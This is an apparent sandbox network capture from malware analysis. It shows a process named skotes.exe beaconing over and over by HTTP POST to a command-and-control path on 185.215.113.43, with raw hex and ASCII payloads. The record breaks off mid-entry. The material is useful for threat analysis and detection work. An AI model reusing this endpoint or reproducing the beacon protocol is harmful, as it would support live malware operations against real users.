Nov 20, 2024 04:11:57.598814011 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	63622	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:11:59.238883018 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:11:59.959927082 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:11:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	63623	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:01.469845057 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:12:02.170844078 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	63624	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:03.804465055 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:12:04.510416985 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	63625	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:06.036299944 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:12:06.763178110 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	63627	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:08.389550924 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:12:09.080178976 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	63628	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:10.605375051 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:12:11.311522961 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	63633	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:12.938496113 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:12:13.635936022 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	63634	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:15.148528099 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:12:15.842603922 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	63635	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:17.463588953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:12:18.164897919 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	63637	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:19.693840027 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:12:20.407641888 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	63638	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:22.026132107 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:12:22.748670101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	63639	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:24.258065939 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:12:24.949508905 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	63640	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:26.570214987 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:12:27.289999008 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	63642	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:28.802839041 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:12:29.505733013 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	63643	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:31.136327982 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:12:31.866753101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	63644	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:33.389956951 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:12:34.095848083 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	63645	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:35.723807096 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:12:36.431658030 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	63647	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:37.954549074 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:12:38.649025917 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	63648	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:40.265624046 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:12:40.965697050 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	63649	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:42.478748083 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:12:43.172867060 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	63650	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:44.790940046 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:12:45.480639935 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	63651	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:47.005953074 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:12:47.853353024 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	63653	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:49.477441072 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:12:50.177810907 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	63654	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
